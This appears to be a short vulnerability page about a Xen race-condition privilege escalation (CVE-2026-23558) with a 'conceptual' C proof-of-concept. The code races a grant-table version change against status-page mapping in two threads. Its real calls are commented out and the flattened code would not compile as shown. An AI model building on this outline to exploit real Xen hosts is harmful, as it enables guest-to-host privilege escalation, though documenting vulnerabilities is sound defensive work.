CVE-2026-23558 Xen 虚拟机竞态条件权限提升漏洞

#include <xenctrl.h> #include <pthread.h> #include <stdio.h> // Conceptual Proof of Concept for CVE-2026-23558 // This code simulates the race condition between grant table version change // and status page mapping in a Xen guest. void* change_grant_version(void* arg) { // Attempt to switch grant table version from v2 to v1 // System call: GNTTABOP_set_version printf("[+] Thread 1: Switching grant table version to v1...\n"); // xc_gnttab_set_version(xc_handle, 1); return NULL; } void* map_status_page(void* arg) { // Attempt to map status pages via XENMEM_add_to_physmap // This must run in parallel with the version change printf("[+] Thread 2: Mapping status pages via add_to_physmap...\n"); // xc_domain_memory_map(xc_handle, ...); return NULL; } int main() { pthread_t t1, t2; printf("[*] Starting PoC for CVE-2026-23558...\n"); // Create threads to trigger the race window pthread_create(&t1, NULL, change_grant_version, NULL); pthread_create(&t2, NULL, map_status_page, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); printf("[*] Exploit attempt finished.\n"); return 0; }